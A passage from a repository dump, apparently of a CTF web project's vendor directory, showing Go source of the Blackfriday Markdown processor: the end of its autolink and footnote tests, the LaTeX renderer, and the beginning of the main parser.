href=\\\"https://link.org\\\">https://link.org</a></p>\\n\",\n\n\t\t\"an email <mailto:some@one.com>\\n\",\n\t\t\"<p>an email <a href=\\\"mailto:some@one.com\\\">some@one.com</a></p>\\n\",\n\n\t\t\"an email <mailto://some@one.com>\\n\",\n\t\t\"<p>an email <a href=\\\"mailto://some@one.com\\\">some@one.com</a></p>\\n\",\n\n\t\t\"an email <some@one.com>\\n\",\n\t\t\"<p>an email <a href=\\\"mailto:some@one.com\\\">some@one.com</a></p>\\n\",\n\n\t\t\"an ftp <ftp://old.com>\\n\",\n\t\t\"<p>an ftp <a href=\\\"ftp://old.com\\\">ftp://old.com</a></p>\\n\",\n\n\t\t\"an ftp <ftp:old.com>\\n\",\n\t\t\"<p>an ftp <a href=\\\"ftp:old.com\\\">ftp:old.com</a></p>\\n\",\n\n\t\t\"a link with <http://new.com?query=foo&bar>\\n\",\n\t\t\"<p>a link with <a href=\\\"http://new.com?query=foo&amp;bar\\\">\" +\n\t\t\t\"http://new.com?query=foo&amp;bar</a></p>\\n\",\n\n\t\t\"quotes mean a tag <http://new.com?query=\\\"foo\\\"&bar>\\n\",\n\t\t\"<p>quotes mean a tag <http://new.com?query=\\\"foo\\\"&bar></p>\\n\",\n\n\t\t\"quotes mean a tag <http://new.com?query='foo'&bar>\\n\",\n\t\t\"<p>quotes mean a tag <http://new.com?query='foo'&bar></p>\\n\",\n\n\t\t\"unless escaped <http://new.com?query=\\\\\\\"foo\\\\\\\"&bar>\\n\",\n\t\t\"<p>unless escaped <a href=\\\"http://new.com?query=&quot;foo&quot;&amp;bar\\\">\" +\n\t\t\t\"http://new.com?query=&quot;foo&quot;&amp;bar</a></p>\\n\",\n\n\t\t\"even a > can be escaped <http://new.com?q=\\\\>&etc>\\n\",\n\t\t\"<p>even a &gt; can be escaped <a href=\\\"http://new.com?q=&gt;&amp;etc\\\">\" +\n\t\t\t\"http://new.com?q=&gt;&amp;etc</a></p>\\n\",\n\t}\n\tdoTestsInline(t, tests)\n}\n\nfunc TestFootnotes(t *testing.T) {\n\ttests := []string{\n\t\t\"testing footnotes.[^a]\\n\\n[^a]: This is the note\\n\",\n\t\t`<p>testing footnotes.<sup class=\"footnote-ref\" id=\"fnref:a\"><a rel=\"footnote\" href=\"#fn:a\">1</a></sup></p>\n<div class=\"footnotes\">\n\n<hr />\n\n<ol>\n<li id=\"fn:a\">This is the note\n</li>\n</ol>\n</div>\n`,\n\n\t\t`testing long[^b] notes.\n\n[^b]: Paragraph 1\n\n\tParagraph 2\n\t\n\t` + \"```\\n\\tsome code\\n\\t```\" + `\n\t\n\tParagraph 3\n\nNo longer in the footnote\n`,\n\t\t`<p>testing long<sup class=\"footnote-ref\" id=\"fnref:b\"><a rel=\"footnote\" href=\"#fn:b\">1</a></sup> notes.</p>\n\n<p>No longer in the footnote</p>\n<div class=\"footnotes\">\n\n<hr />\n\n<ol>\n<li id=\"fn:b\"><p>Paragraph 1</p>\n\n<p>Paragraph 2</p>\n\n<p><code>\nsome code\n</code></p>\n\n<p>Paragraph 3</p>\n</li>\n</ol>\n</div>\n`,\n\n\t\t`testing[^c] multiple[^d] notes.\n\n[^c]: this is [note] c\n\n\nomg\n\n[^d]: this is note d\n\nwhat happens here\n\n[note]: /link/c\n\n`,\n\t\t`<p>testing<sup class=\"footnote-ref\" id=\"fnref:c\"><a rel=\"footnote\" href=\"#fn:c\">1</a></sup> multiple<sup class=\"footnote-ref\" id=\"fnref:d\"><a rel=\"footnote\" href=\"#fn:d\">2</a></sup> notes.</p>\n\n<p>omg</p>\n\n<p>what happens here</p>\n<div class=\"footnotes\">\n\n<hr />\n\n<ol>\n<li id=\"fn:c\">this is <a href=\"/link/c\">note</a> c\n</li>\n<li id=\"fn:d\">this is note d\n</li>\n</ol>\n</div>\n`,\n\n\t\t\"testing inline^[this is the note] notes.\\n\",\n\t\t`<p>testing inline<sup class=\"footnote-ref\" id=\"fnref:this-is-the-note\"><a rel=\"footnote\" href=\"#fn:this-is-the-note\">1</a></sup> notes.</p>\n<div class=\"footnotes\">\n\n<hr />\n\n<ol>\n<li id=\"fn:this-is-the-note\">this is the note</li>\n</ol>\n</div>\n`,\n\n\t\t\"testing multiple[^1] types^[inline note] of notes[^2]\\n\\n[^2]: the second deferred note\\n[^1]: the first deferred note\\n\\n\\twhich happens to be a block\\n\",\n\t\t`<p>testing multiple<sup class=\"footnote-ref\" id=\"fnref:1\"><a rel=\"footnote\" href=\"#fn:1\">1</a></sup> types<sup class=\"footnote-ref\" id=\"fnref:inline-note\"><a rel=\"footnote\" href=\"#fn:inline-note\">2</a></sup> of notes<sup class=\"footnote-ref\" id=\"fnref:2\"><a rel=\"footnote\" href=\"#fn:2\">3</a></sup></p>\n<div class=\"footnotes\">\n\n<hr />\n\n<ol>\n<li id=\"fn:1\"><p>the first deferred note</p>\n\n<p>which happens to be a block</p>\n</li>\n<li id=\"fn:inline-note\">inline note</li>\n<li id=\"fn:2\">the second deferred note\n</li>\n</ol>\n</div>\n`,\n\n\t\t`This is a footnote[^1]^[and this is an inline footnote]\n\n[^1]: the footnote text.\n\n    may be multiple paragraphs.\n`,\n\t\t`<p>This is a footnote<sup class=\"footnote-ref\" id=\"fnref:1\"><a rel=\"footnote\" href=\"#fn:1\">1</a></sup><sup class=\"footnote-ref\" id=\"fnref:and-this-is-an-i\"><a rel=\"footnote\" href=\"#fn:and-this-is-an-i\">2</a></sup></p>\n<div class=\"footnotes\">\n\n<hr />\n\n<ol>\n<li id=\"fn:1\"><p>the footnote text.</p>\n\n<p>may be multiple paragraphs.</p>\n</li>\n<li id=\"fn:and-this-is-an-i\">and this is an inline footnote</li>\n</ol>\n</div>\n`,\n\n\t\t\"empty footnote[^]\\n\\n[^]: fn text\",\n\t\t\"<p>empty footnote<sup class=\\\"footnote-ref\\\" id=\\\"fnref:\\\"><a rel=\\\"footnote\\\" href=\\\"#fn:\\\">1</a></sup></p>\\n<div class=\\\"footnotes\\\">\\n\\n<hr />\\n\\n<ol>\\n<li id=\\\"fn:\\\">fn text\\n</li>\\n</ol>\\n</div>\\n\",\n\t}\n\n\tdoTestsInlineParam(t, tests, EXTENSION_FOOTNOTES, 0)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/latex.go",
    "content": "//\n// Blackfriday Markdown Processor\n// Available at http://github.com/russross/blackfriday\n//\n// Copyright © 2011 Russ Ross <russ@russross.com>.\n// Distributed under the Simplified BSD License.\n// See README.md for details.\n//\n\n//\n//\n// LaTeX rendering backend\n//\n//\n\npackage blackfriday\n\nimport (\n\t\"bytes\"\n)\n\n// Latex is a type that implements the Renderer interface for LaTeX output.\n//\n// Do not create this directly, instead use the LatexRenderer function.\ntype Latex struct {\n}\n\n// LatexRenderer creates and configures a Latex object, which\n// satisfies the Renderer interface.\n//\n// flags is a set of LATEX_* options ORed together (currently no such options\n// are defined).\nfunc LatexRenderer(flags int) Renderer {\n\treturn &Latex{}\n}\n\n// render code chunks using verbatim, or listings if we have a language\nfunc (options *Latex) BlockCode(out *bytes.Buffer, text []byte, lang string) {\n\tif lang == \"\" {\n\t\tout.WriteString(\"\\n\\\\begin{verbatim}\\n\")\n\t} else {\n\t\tout.WriteString(\"\\n\\\\begin{lstlisting}[language=\")\n\t\tout.WriteString(lang)\n\t\tout.WriteString(\"]\\n\")\n\t}\n\tout.Write(text)\n\tif lang == \"\" {\n\t\tout.WriteString(\"\\n\\\\end{verbatim}\\n\")\n\t} else {\n\t\tout.WriteString(\"\\n\\\\end{lstlisting}\\n\")\n\t}\n}\n\nfunc (options *Latex) BlockQuote(out *bytes.Buffer, text []byte) {\n\tout.WriteString(\"\\n\\\\begin{quotation}\\n\")\n\tout.Write(text)\n\tout.WriteString(\"\\n\\\\end{quotation}\\n\")\n}\n\nfunc (options *Latex) BlockHtml(out *bytes.Buffer, text []byte) {\n\t// a pretty lame thing to do...\n\tout.WriteString(\"\\n\\\\begin{verbatim}\\n\")\n\tout.Write(text)\n\tout.WriteString(\"\\n\\\\end{verbatim}\\n\")\n}\n\nfunc (options *Latex) Header(out *bytes.Buffer, text func() bool, level int) {\n\tmarker := out.Len()\n\n\tswitch level {\n\tcase 1:\n\t\tout.WriteString(\"\\n\\\\section{\")\n\tcase 2:\n\t\tout.WriteString(\"\\n\\\\subsection{\")\n\tcase 3:\n\t\tout.WriteString(\"\\n\\\\subsubsection{\")\n\tcase 4:\n\t\tout.WriteString(\"\\n\\\\paragraph{\")\n\tcase 5:\n\t\tout.WriteString(\"\\n\\\\subparagraph{\")\n\tcase 6:\n\t\tout.WriteString(\"\\n\\\\textbf{\")\n\t}\n\tif !text() {\n\t\tout.Truncate(marker)\n\t\treturn\n\t}\n\tout.WriteString(\"}\\n\")\n}\n\nfunc (options *Latex) HRule(out *bytes.Buffer) {\n\tout.WriteString(\"\\n\\\\HRule\\n\")\n}\n\nfunc (options *Latex) List(out *bytes.Buffer, text func() bool, flags int) {\n\tmarker := out.Len()\n\tif flags&LIST_TYPE_ORDERED != 0 {\n\t\tout.WriteString(\"\\n\\\\begin{enumerate}\\n\")\n\t} else {\n\t\tout.WriteString(\"\\n\\\\begin{itemize}\\n\")\n\t}\n\tif !text() {\n\t\tout.Truncate(marker)\n\t\treturn\n\t}\n\tif flags&LIST_TYPE_ORDERED != 0 {\n\t\tout.WriteString(\"\\n\\\\end{enumerate}\\n\")\n\t} else {\n\t\tout.WriteString(\"\\n\\\\end{itemize}\\n\")\n\t}\n}\n\nfunc (options *Latex) ListItem(out *bytes.Buffer, text []byte, flags int) {\n\tout.WriteString(\"\\n\\\\item \")\n\tout.Write(text)\n}\n\nfunc (options *Latex) Paragraph(out *bytes.Buffer, text func() bool) {\n\tmarker := out.Len()\n\tout.WriteString(\"\\n\")\n\tif !text() {\n\t\tout.Truncate(marker)\n\t\treturn\n\t}\n\tout.WriteString(\"\\n\")\n}\n\nfunc (options *Latex) Table(out *bytes.Buffer, header []byte, body []byte, columnData []int) {\n\tout.WriteString(\"\\n\\\\begin{tabular}{\")\n\tfor _, elt := range columnData {\n\t\tswitch elt {\n\t\tcase TABLE_ALIGNMENT_LEFT:\n\t\t\tout.WriteByte('l')\n\t\tcase TABLE_ALIGNMENT_RIGHT:\n\t\t\tout.WriteByte('r')\n\t\tdefault:\n\t\t\tout.WriteByte('c')\n\t\t}\n\t}\n\tout.WriteString(\"}\\n\")\n\tout.Write(header)\n\tout.WriteString(\" \\\\\\\\\\n\\\\hline\\n\")\n\tout.Write(body)\n\tout.WriteString(\"\\n\\\\end{tabular}\\n\")\n}\n\nfunc (options *Latex) TableRow(out *bytes.Buffer, text []byte) {\n\tif out.Len() > 0 {\n\t\tout.WriteString(\" \\\\\\\\\\n\")\n\t}\n\tout.Write(text)\n}\n\nfunc (options *Latex) TableCell(out *bytes.Buffer, text []byte, align int) {\n\tif out.Len() > 0 {\n\t\tout.WriteString(\" & \")\n\t}\n\tout.Write(text)\n}\n\n// TODO: this\nfunc (options *Latex) Footnotes(out *bytes.Buffer, text func() bool) {\n\n}\n\nfunc (options *Latex) FootnoteItem(out *bytes.Buffer, name, text []byte, flags int) {\n\n}\n\nfunc (options *Latex) AutoLink(out *bytes.Buffer, link []byte, kind int) {\n\tout.WriteString(\"\\\\href{\")\n\tif kind == LINK_TYPE_EMAIL {\n\t\tout.WriteString(\"mailto:\")\n\t}\n\tout.Write(link)\n\tout.WriteString(\"}{\")\n\tout.Write(link)\n\tout.WriteString(\"}\")\n}\n\nfunc (options *Latex) CodeSpan(out *bytes.Buffer, text []byte) {\n\tout.WriteString(\"\\\\texttt{\")\n\tescapeSpecialChars(out, text)\n\tout.WriteString(\"}\")\n}\n\nfunc (options *Latex) DoubleEmphasis(out *bytes.Buffer, text []byte) {\n\tout.WriteString(\"\\\\textbf{\")\n\tout.Write(text)\n\tout.WriteString(\"}\")\n}\n\nfunc (options *Latex) Emphasis(out *bytes.Buffer, text []byte) {\n\tout.WriteString(\"\\\\textit{\")\n\tout.Write(text)\n\tout.WriteString(\"}\")\n}\n\nfunc (options *Latex) Image(out *bytes.Buffer, link []byte, title []byte, alt []byte) {\n\tif bytes.HasPrefix(link, []byte(\"http://\")) || bytes.HasPrefix(link, []byte(\"https://\")) {\n\t\t// treat it like a link\n\t\tout.WriteString(\"\\\\href{\")\n\t\tout.Write(link)\n\t\tout.WriteString(\"}{\")\n\t\tout.Write(alt)\n\t\tout.WriteString(\"}\")\n\t} else {\n\t\tout.WriteString(\"\\\\includegraphics{\")\n\t\tout.Write(link)\n\t\tout.WriteString(\"}\")\n\t}\n}\n\nfunc (options *Latex) LineBreak(out *bytes.Buffer) {\n\tout.WriteString(\" \\\\\\\\\\n\")\n}\n\nfunc (options *Latex) Link(out *bytes.Buffer, link []byte, title []byte, content []byte) {\n\tout.WriteString(\"\\\\href{\")\n\tout.Write(link)\n\tout.WriteString(\"}{\")\n\tout.Write(content)\n\tout.WriteString(\"}\")\n}\n\nfunc (options *Latex) RawHtmlTag(out *bytes.Buffer, tag []byte) {\n}\n\nfunc (options *Latex) TripleEmphasis(out *bytes.Buffer, text []byte) {\n\tout.WriteString(\"\\\\textbf{\\\\textit{\")\n\tout.Write(text)\n\tout.WriteString(\"}}\")\n}\n\nfunc (options *Latex) StrikeThrough(out *bytes.Buffer, text []byte) {\n\tout.WriteString(\"\\\\sout{\")\n\tout.Write(text)\n\tout.WriteString(\"}\")\n}\n\n// TODO: this\nfunc (options *Latex) FootnoteRef(out *bytes.Buffer, ref []byte, id int) {\n\n}\n\nfunc needsBackslash(c byte) bool {\n\tfor _, r := range []byte(\"_{}%$&\\\\~\") {\n\t\tif c == r {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc escapeSpecialChars(out *bytes.Buffer, text []byte) {\n\tfor i := 0; i < len(text); i++ {\n\t\t// directly copy normal characters\n\t\torg := i\n\n\t\tfor i < len(text) && !needsBackslash(text[i]) {\n\t\t\ti++\n\t\t}\n\t\tif i > org {\n\t\t\tout.Write(text[org:i])\n\t\t}\n\n\t\t// escape a character\n\t\tif i >= len(text) {\n\t\t\tbreak\n\t\t}\n\t\tout.WriteByte('\\\\')\n\t\tout.WriteByte(text[i])\n\t}\n}\n\nfunc (options *Latex) Entity(out *bytes.Buffer, entity []byte) {\n\t// TODO: convert this into a unicode character or something\n\tout.Write(entity)\n}\n\nfunc (options *Latex) NormalText(out *bytes.Buffer, text []byte) {\n\tescapeSpecialChars(out, text)\n}\n\n// header and footer\nfunc (options *Latex) DocumentHeader(out *bytes.Buffer) {\n\tout.WriteString(\"\\\\documentclass{article}\\n\")\n\tout.WriteString(\"\\n\")\n\tout.WriteString(\"\\\\usepackage{graphicx}\\n\")\n\tout.WriteString(\"\\\\usepackage{listings}\\n\")\n\tout.WriteString(\"\\\\usepackage[margin=1in]{geometry}\\n\")\n\tout.WriteString(\"\\\\usepackage[utf8]{inputenc}\\n\")\n\tout.WriteString(\"\\\\usepackage{verbatim}\\n\")\n\tout.WriteString(\"\\\\usepackage[normalem]{ulem}\\n\")\n\tout.WriteString(\"\\\\usepackage{hyperref}\\n\")\n\tout.WriteString(\"\\n\")\n\tout.WriteString(\"\\\\hypersetup{colorlinks,%\\n\")\n\tout.WriteString(\"  citecolor=black,%\\n\")\n\tout.WriteString(\"  filecolor=black,%\\n\")\n\tout.WriteString(\"  linkcolor=black,%\\n\")\n\tout.WriteString(\"  urlcolor=black,%\\n\")\n\tout.WriteString(\"  pdfstartview=FitH,%\\n\")\n\tout.WriteString(\"  breaklinks=true,%\\n\")\n\tout.WriteString(\"  pdfauthor={Blackfriday Markdown Processor v\")\n\tout.WriteString(VERSION)\n\tout.WriteString(\"}}\\n\")\n\tout.WriteString(\"\\n\")\n\tout.WriteString(\"\\\\newcommand{\\\\HRule}{\\\\rule{\\\\linewidth}{0.5mm}}\\n\")\n\tout.WriteString(\"\\\\addtolength{\\\\parskip}{0.5\\\\baselineskip}\\n\")\n\tout.WriteString(\"\\\\parindent=0pt\\n\")\n\tout.WriteString(\"\\n\")\n\tout.WriteString(\"\\\\begin{document}\\n\")\n}\n\nfunc (options *Latex) DocumentFooter(out *bytes.Buffer) {\n\tout.WriteString(\"\\n\\\\end{document}\\n\")\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/markdown.go",
    "content": "//\n// Blackfriday Markdown Processor\n// Available at http://github.com/russross/blackfriday\n//\n// Copyright © 2011 Russ Ross <russ@russross.com>.\n// Distributed under the Simplified BSD License.\n// See README.md for details.\n//\n\n//\n//\n// Markdown parsing and processing\n//\n//\n\n// Blackfriday markdown processor.\n//\n// Translates plain text with simple formatting rules into HTML or LaTeX.\npackage blackfriday\n\nimport (\n\t\"bytes\"\n\t\"unicode/utf8\"\n)\n\nconst VERSION = \"1.1\"\n\n// These are the supported markdown parsing extensions.\n// OR these values together to select multiple extensions.\nconst (\n\tEXTENSION_NO_INTRA_EMPHASIS          = 1 << iota // ignore emphasis markers inside words\n\tEXTENSION_TABLES                                 // render tables\n\tEXTENSION_FENCED_CODE                            // render fenced code blocks\n\tEXTENSION_AUTOLINK                               // detect embedded URLs that are not explicitly marked\n\tEXTENSION_STRIKETHROUGH                          // strikethrough text using ~~test~~\n\tEXTENSION_LAX_HTML_BLOCKS                        // loosen up HTML block parsing rules\n\tEXTENSION_SPACE_HEADERS                          // be strict about prefix header rules\n\tEXTENSION_HARD_LINE_BREAK                        // translate newlines into line breaks\n\tEXTENSION_TAB_SIZE_EIGHT                         // expand tabs to eight spaces instead of four\n\tEXTENSION_FOOTNOTES                              // Pandoc-style footnotes\n\tEXTENSION_NO_EMPTY_LINE_BEFORE_BLOCK             // No need to insert an empty line to start a (code, quote, order list, unorder list)block\n)\n\n// These are the possible flag values for the link renderer.\n// Only a single one of these values will be used; they are not ORed together.\n// These are mostly of interest if you are writing a new output format.\nconst (\n\tLINK_TYPE_NOT_AUTOLINK = iota\n\tLINK_TYPE_NORMAL\n\tLINK_TYPE_EMAIL\n)\n\n// These are the possible flag values for the ListItem renderer.\n// Multiple flag values may be ORed together.\n// These are mostly of interest if you are writing a new output format.\nconst (\n\tLIST_TYPE_ORDERED = 1 << iota\n\tLIST_ITEM_CONTAINS_BLOCK\n\tLIST_ITEM_BEGINNING_OF_LIST\n\tLIST_ITEM_END_OF_LIST\n)\n\n// These are the possible flag values for the table cell renderer.\n// Only a single one of these values will be used; they are not ORed together.\n// These are mostly of interest if you are writing a new output format.\nconst (\n\tTABLE_ALIGNMENT_LEFT = 1 << iota\n\tTABLE_ALIGNMENT_RIGHT\n\tTABLE_ALIGNMENT_CENTER = (TABLE_ALIGNMENT_LEFT | TABLE_ALIGNMENT_RIGHT)\n)\n\n// The size of a tab stop.\nconst (\n\tTAB_SIZE_DEFAULT = 4\n\tTAB_SIZE_EIGHT   = 8\n)\n\n// These are the tags that are recognized as HTML block tags.\n// Any of these can be included in markdown text without special escaping.\nvar blockTags = map[string]bool{\n\t\"p\":          true,\n\t\"dl\":         true,\n\t\"h1\":         true,\n\t\"h2\":         true,\n\t\"h3\":         true,\n\t\"h4\":         true,\n\t\"h5\":         true,\n\t\"h6\":         true,\n\t\"ol\":         true,\n\t\"ul\":         true,\n\t\"del\":        true,\n\t\"div\":        true,\n\t\"ins\":        true,\n\t\"pre\":        true,\n\t\"code\":       true,\n\t\"table\":      true,\n\t\"tr\":         true,\n\t\"td\":         true,\n\t\"blockquote\": true,\n}\n\nfunc SetDefaultBlockTags(tag string, permit bool) {\n\tblockTags[tag] = permit\n}\n\n// Renderer is the rendering interface.\n// This is mostly of interest if you are implementing a new rendering format.\n//\n// When a byte slice is provided, it contains the (rendered) contents of the\n// element.\n//\n// When a callback is provided instead, it will write the contents of the\n// respective element directly to the output buffer and return true on success.\n// If the callback returns false, the rendering function should reset the\n// output buffer as though it had never been called.\n//\n// Currently Html and Latex implementations are provided\ntype Renderer interface {\n\t// block-level callbacks\n\tBlockCode(out *bytes.Buffer, text []byte, lang string)\n\tBlockQuote(out *bytes.Buffer, text []byte)\n\tBlockHtml(out *bytes.Buffer, text []byte)\n\tHeader(out *bytes.Buffer, text func() bool, level int)\n\tHRule(out *bytes.Buffer)\n\tList(out *bytes.Buffer, text func() bool, flags int)\n\tListItem(out *bytes.Buffer, text []byte, flags int)\n\tParagraph(out *bytes.Buffer, text func() bool)\n\tTable(out *bytes.Buffer, header []byte, body []byte, columnData []int)\n\tTableRow(out *bytes.Buffer, text []byte)\n\tTableCell(out *bytes.Buffer, text []byte, flags int)\n\tFootnotes(out *bytes.Buffer, text func() bool)\n\tFootnoteItem(out *bytes.Buffer, name, text []byte, flags int)\n\n\t// Span-level callbacks\n\tAutoLink(out *bytes.Buffer, link []byte, kind int)\n\tCodeSpan(out *bytes.Buffer, text []byte)\n\tDoubleEmphasis(out *bytes.Buffer, text []byte)\n\tEmphasis(out *bytes.Buffer, text []byte)\n\tImage(out *bytes.Buffer, link []byte, title []byte, alt []byte)\n\tLineBreak(out *bytes.Buffer)\n\tLink(out *bytes.Buffer, link []byte, title []byte, content []byte)\n\tRawHtmlTag(out *bytes.Buffer, tag []byte)\n\tTripleEmphasis(out *bytes.Buffer, text []byte)\n\tStrikeThrough(out *bytes.Buffer, text []byte)\n\tFootnoteRef(out *bytes.Buffer, ref []byte, id int)\n\n\t// Low-level callbacks\n\tEntity(out *bytes.Buffer, entity []byte)\n\tNormalText(out *bytes.Buffer, text []byte)\n\n\t// Header and footer\n\tDocumentHeader(out *bytes.Buffer)\n\tDocumentFooter(out *bytes.Buffer)\n}\n\n// Callback functions for inline parsing. One such function is defined\n// for each character that triggers a response when parsing inline data.\ntype inlineParser func(p *parser, out *bytes.Buffer, data []byte, offset int) int\n\n// Parser holds runtime state used by the parser.\n// This is constructed by the Markdown function.\ntype parser struct {\n\tr              Renderer\n\trefs           map[string]*reference\n\tinlineCallback [256]inlineParser\n\tflags          int\n\tnesting        int\n\tmaxNesting     int\n\tinsideLink     bool\n\n\t// Footnotes need to be ordered as well as available to quickly check for\n\t// presence. If a ref is also a footnote, it's stored both in refs and here\n\t// in notes. Slice is nil if footnotes not enabled.\n\tnotes []*reference\n\n\tblockTags map[string]bool\n}\n\n//\n//\n// Public interface\n//\n//\n\n// MarkdownBasic is a convenience function for simple rendering.\n// It processes markdown input with no extensions enabled.\nfunc MarkdownBasic(input []byte) []byte {\n\t// set up the HTML renderer\n\thtmlFlags := HTML_USE_XHTML\n\trenderer := HtmlRenderer(htmlFlags, \"\", \"\")\n\n\t// set up the parser\n\textensions := 0\n\n\treturn Markdown(input, renderer, extensions)\n}\n\n// Call Markdown with most useful extensions enabled\n// MarkdownCommon is a convenience function for simple rendering.\n// It processes markdown input with common extensions enabled, including:\n//\n// * Smartypants processing with smart fractions and LaTeX dashes\n//\n// * Intra-word emphasis suppression\n//\n// * Tables\n//\n// * Fenced code blocks\n//\n// * Autolinking\n//\n// * Strikethrough support\n//\n// * Strict header parsing\nfunc MarkdownCommon(input []byte) []byte {\n\t// set up the HTML renderer\n\thtmlFlags := 0\n\thtmlFlags |= HTML_USE_XHTML\n\thtmlFlags |= HTML_USE_SMARTYPANTS\n\thtmlFlags |= HTML_SMARTYPANTS_FRACTIONS\n\thtmlFlags |= HTML_SMARTYPANTS_LATEX_DASHES\n\thtmlFlags |= HTML_SKIP_SCRIPT\n\trenderer := HtmlRenderer(htmlFlags, \"\", \"\")\n\n\t// set up the parser\n\textensions := 0\n\textensions |= EXTENSION_NO_INTRA_EMPHASIS\n\textensions |= EXTENSION_TABLES\n\textensions |= EXTENSION_FENCED_CODE\n\textensions |= EXTENSION_AUTOLINK\n\textensions |= EXTENSION_STRIKETHROUGH\n\textensions |= EXTENSION_SPACE_HEADERS\n\n\treturn Markdown(input, renderer, extensions)\n}\n\n// Markdown is the main rendering function.\n// It parses and renders a block of markdown-encoded text.\n// The supplied Renderer is used to format the output, and extensions dictates\n// which non-standard extensions are enabled.\n//\n// To use the supplied Html or LaTeX renderers, see HtmlRenderer and\n// LatexRenderer, respectively.\nfunc Markdown(input []byte, renderer Renderer, extensions int, args ...interface{}) []byte {\n\t// no point in parsing if we can't render\n\tif renderer == nil {\n\t\treturn nil\n\t}\n\n\t// fill in the render structure\n\tp := new(parser)\n\tp.r = renderer\n\tp.flags = extensions\n\tp.refs = make(map[string]*reference)\n\tp.maxNesting = 16\n\tp.insideLink = false\n\n\t// register inline parsers\n\tp.inlineCallback['*'] = emphasis\n\tp.inlineCallback['_'] = emphasis\n\tif extensions&EXTENSION_STRIKETHROUGH != 0 {\n\t\tp.inlineCallback['~'] = emphasis\n\t}\n\tp.inlineCallback['`'] = codeSpan\n\tp.inlineCallback['\\n'] = lineBreak\n\tp.inlineCallback['['] = link\n\tp.inlineCallback['<'] = leftAngle\n\tp.inlineCallback['\\\\'] = escape\n\tp.inlineCallback['&'] = entity\n\n\tif extensions&EXTENSION_AUTOLINK != 0 {\n\t\tp.inlineCallback[':'] = autoLink\n\t}\n\n\tif extensions&EXTENSION_FOOTNOTES != 0 {\n\t\tp.notes = make([]*reference, 0)\n\t}\n\n\tp.blockTags = make(map[string]bool, len(blockTags))\n\n\tfor tag, value := range blockTags {\n\t\tp.blockTags[tag] = value\n\t}\n\n\tif len(args) > 0 {\n\t\tif maps, ok := args[0].(map[string]bool); ok {\n\t\t\tfor t, v := range maps {\n\t\t\t\tp.blockTags[t] = v\n\t\t\t}\n\t\t}\n\t}\n\n\tfirst := firstPass(p, input)\n\tsecond := secondPass(p, first)\n\n\treturn second\n}\n\n// first pass:\n// - extract references\n// - expand tabs\n// - normalize newlines\n// - copy everything else\nfunc firstPass(p *parser, input []byte) []byte {\n\tvar out bytes.Buffer\n\ttabSize := TAB_SIZE_DEFAULT\n\tif p.flags&EXTENSION_TAB_SIZE_EIGHT != 0 {\n\t\ttabSize = TAB_SIZE_EIGHT\n\t}\n\tbeg, end := 0, 0\n\tfor beg < len(input) { // iterate over lines\n\t\tif end = isReference(p, input[beg:], tabSize); end > 0 {\n\t\t\tbeg += end\n\t\t} else { // skip to the next line\n\t\t\tend = beg\n\t\t\tfor end < len(input) && input[end] != '\\n' && input[end] != '\\r' {\n\t\t\t\tend++\n\t\t\t}\n\n\t\t\t// add the line body if present\n\t\t\tif end > beg {\n\t\t\t\texpandTabs(&out, input[beg:end], tabSize)\n\t\t\t}\n\t\t\tout.WriteByte('\\n')\n\n\t\t\tif end < len(input) && input[end] == '\\r' {\n\t\t\t\tend++\n\t\t\t}\n\t\t\tif end < len(input) && input[end] == '\\n' {\n\t\t\t\tend++\n\t\t\t}\n\n\t\t\tbeg = end\n\t\t}\n\t}\n\n\t// empty input?\n\tif out.Len() == 0 {\n\t\tout.WriteByte('\\n')\n\t}\n\n\treturn out.Bytes()\n}\n\n// second pass: actual rendering\nfunc secondPass(p *parser, input []byte) []byte {\n\tvar output bytes.Buffer\n\n\tp.r.DocumentHeader(&output)\n\tp.block(&output, input)\n\n\tif p.flags&EXTENSION_FOOTNOTES != 0 && len(p.notes) > 0 {\n\t\tp.r.Footnotes(&output, func() bool {\n\t\t\tflags := LIST_ITEM_BEGINNING_OF_LIST\n\t\t\tfor _, ref := range p.notes {\n\t\t\t\tvar buf bytes.Buffer\n\t\t\t\tif ref.hasBlock {\n\t\t\t\t\tflags |= LIST_ITEM_CONTAINS_BLOCK\n\t\t\t\t\tp.block(&buf, ref.title)\n\t\t\t\t} else {\n\t\t\t\t\tp.inline(&buf, ref.title)\n\t\t\t\t}\n\t\t\t\tp.r.FootnoteItem(&output, ref.link, buf.Bytes(), flags)\n\t\t\t\tflags &^= LIST_ITEM_BEGINNING_OF_LIST | LIST_ITEM_CONTAINS_BLOCK\n\t\t\t}\n\n\t\t\treturn true\n\t\t})\n\t}\n\n\tp.r.DocumentFooter(&output)\n\n\tif p.nesting != 0 {\n\t\tpanic(\"Nesting level did not end at zero\")\n\t}\n\n\treturn output.Bytes()\n}\n\n//\n// Link references\n//\n// This section implements support for references that (usually) appear\n// as footnotes in a document, and can be referenced anywhere in the document.\n// The basic format is:\n//\n//    [1]: http://www.google.com/ \"Google\"\n//    [2]: http://www.github.com/ \"Github\"\n//\n// Anywhere in the document, the reference can be linked by referring to its\n// label, i.e., 1 and 2 in this example, as in:\n//\n//    This library is hosted on [Github][2], a git hosting site.\n//\n// Actual footnotes as specified in Pandoc and supported by some other Markdown\n// libraries such as php-markdown are also taken care of. They look like this:\n//\n//    This sentence needs a bit of further explanation.[^note]\n//\n//    [^note]: This is the explanation.\n//\n// Footnotes should be placed at the end of the document in an ordered list.\n// Inline footnotes such as:\n//\n//    Inline footnotes^[Not supported.] also exist.\n//\n// are not yet supported.\n\n// References are parsed and stored in this struct.\ntype reference struct {\n\tlink     []byte\n\ttitle    []byte\n\tnoteId   int // 0 if not a footnote ref\n\thasBlock bool\n}\n\n// Check whether or not data starts with a reference link.\n// If so, it is parsed and stored in the list of references\n// (in the render struct).\n// Returns the number of bytes to skip to move past it,\n// or zero if the first line is not a reference.\nfunc isReference(p *parser, data []byte, tabSize int) int {\n\t// up to 3 optional leading spaces\n\tif len(data) < 4 {\n\t\treturn 0\n\t}\n\ti := 0\n\tfor i < 3 && data[i] == ' ' {\n\t\ti++\n\t}\n\n\tnoteId := 0\n\n\t// id part: anything but a newline between brackets\n\tif data[i] != '[' {\n\t\treturn 0\n\t}\n\ti++\n\tif p.flags&EXTENSION_FOOTNOTES != 0 {\n\t\tif data[i] == '^' {\n\t\t\t// we can set it to anything here because the proper noteIds will\n\t\t\t// be assigned later during the second pass. It just has to be != 0\n\t\t\tnoteId = 1\n\t\t\ti++\n\t\t}\n\t}\n\tidOffset := i\n\tfor i < len(data) 